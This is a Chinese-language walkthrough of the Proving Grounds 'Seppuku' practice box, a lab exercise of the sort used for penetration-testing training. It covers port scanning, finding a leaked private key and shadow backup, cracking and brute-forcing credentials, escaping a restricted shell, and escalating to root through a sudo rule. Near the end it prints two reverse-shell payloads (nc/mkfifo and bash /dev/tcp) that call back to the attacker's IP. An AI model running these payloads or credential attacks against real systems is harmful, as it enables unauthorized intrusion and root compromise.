Proving Grounds Play : Seppuku Walkthrough
Proving Grounds Play : Seppuku Walkthrough
Foothold :
- 網站發現 Private Key 與密碼檔
- enum4linux 發現使用者帳號
- hydra 破解後登入,但 shell 都有限制,後續帶入 -t "bash --noprofile" 解除限制
PE :
- A 帳號 sudo -l 執行的命令在 B 帳號家目錄但不存在
- 使用 B 帳號建立該執行檔建立 Reverse Shell
- sudo 執行後提權成功
第一步 Rustscan,└─$ rustscan -a 192.168.235.90 --scripts none --ulimit 5000 | tee rustscan
snmp check
nmap
80/tcp open http nginx 1.14.2 --> 需要驗證
7080/tcp open ssl/empowerid LiteSpeed
7601/tcp open http Apache httpd 2.4.38 ((Debian))
8088/tcp open http LiteSpeed httpd
FTP 匿名登入失敗
FTP ftp:ftp 登入失敗
FTP 測試其他幾組常用帳號密碼一樣失敗
enum4linux
爬出三個使用者 seppuku、samurai、tanto
80 /
80 /robots.txt
7601 /
7601 /robots.txt
8088 /
8088 /robots.txt
7080 瀏覽器開不起來
執行 7601、8088 gobuster
7601 :
7601 /ckeditor
7601 /keys
7601 /keys/private
測試 tanto 使用該 Private Key 可以登入,└─$ ssh -i id_rsa tanto@192.168.235.90
不過看來整個被限制住,無法切換目錄甚麼事都做不了,應該是個兔子坑連 local.txt 都讀不到
回到 7601 的 gobuster 繼續往下看
7601 /production
先放著繼續往下看
下面有個很誘人的 URI /secret,該不會又是一個兔子坑吧
檔案 hostname
檔案 jack.jpg
檔案 passwd.bak 看來是 /etc/passwd
有個機車的使用者名稱 rabbit-hole
檔案 password.lst 看來是個密碼檔
檔案 shadow.bak,發現使用者 r@bbit-hole 的密碼加密值,跟剛剛的名字差了一個字
r@bbit-hole:$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKBLBahX29Y3DWkR6oT..:18395:0:99999:7:::
用 john 破解看看獲得密碼 a1b2c3
將 rabbit-hole、r@bbit-hole 加到使用者清單 usernames.txt
將使用者檔案複製一份為密碼檔,然後多寫一個第一個字大寫的使用者名稱當密碼
以及剛剛破解的密碼以及網站上顯示的密碼檔加到自製的密碼檔
然後用 hydra 先破解 FTP 看看,獲得一組有效憑證 seppuku:eeyoree
繼續試試看 SSH,獲得相同的憑證 seppuku:eeyoree
直接 SSH 測試登入成功,也獲取了 local.txt,這一次看來方向對了
home 目錄底下有個特別的檔案 .passwd,內容是 12345685213456!@!@A
su root 測試看看,GG.............果然沒有這麼簡單
但測試另外一個使用者 samurai 成功
hydra 測試看看確認是有效的憑證
原本 seppuku 的帳號跟 tanto 一樣都被限制住無法切換目錄
改用 samurai 的憑證登入一樣無法切換目錄
重新登入一次帶入 -t "bash --noprofule" 可以成功切換目錄了
再自己定義一下
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games" echo $PATH
sido -l
查了一下沒有該檔案
切換回使用者 seppuku 看一下 sudo -l
ln 這個命令是做 symbolic 建立符號連結的命令
/usr/bin/ln:這是 ln 指令的路徑,用來建立連結
-sf:這些是傳遞給 ln 指令的選項:
-s:建立符號連結
-f:如果目標檔案(或連結)已經存在,則將其刪除並替換
- /root/:這是來源目錄或檔案。在本例中,它是 /root/ 目錄
- /tmp/:這是將建立符號連結的目標目錄。該連結將具有與來源相同的名稱(在本例中為/root/)
參考 GTFO 如下
跑 GTFO 範例沒有成功,只能跑 sudo -l 中給的範例連結
執行完該指令切換到 /tmp 底下可以看到 /root 但無法進入
再次回到使用者 seppuku 的 sudo -l
知道 /home/tanto/.cgi_bin 目錄不存在,但是是執行 bin 且針對 /tmp/*
看來就是要我們利用這個 sudo -l 去修改 /tmp/* 底下的東西
然後再用剛剛的 symbolic 利用
/home/tanto/.cgi_bin 是使用者 tanto 的 HOME 目錄
所以再次用 SSH Key 登入去建立目錄與檔案 bin
接著在 bin 檔案中叫他去執行 /bin/bash 然後 rm 建立 Reverse Shell 回來
#!/bin/bash
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.45.200 4444 >/tmp/f
執行看看,無法執行,忘了給 x 到 bin
使用 chmod +x bin 再執行一次,結果顯示沒有 nc
修改 bin 改用最基本的 bash 建立連線試試看
#!/bin/bash
bash -c "bash -i >& /dev/tcp/192.168.45.200/4444 0>&1"
回到 samurai session 再執行一次
4444 進來了,因為是 sudo 執行的,所以進來就是 root,直接拿 flag
留言
張貼留言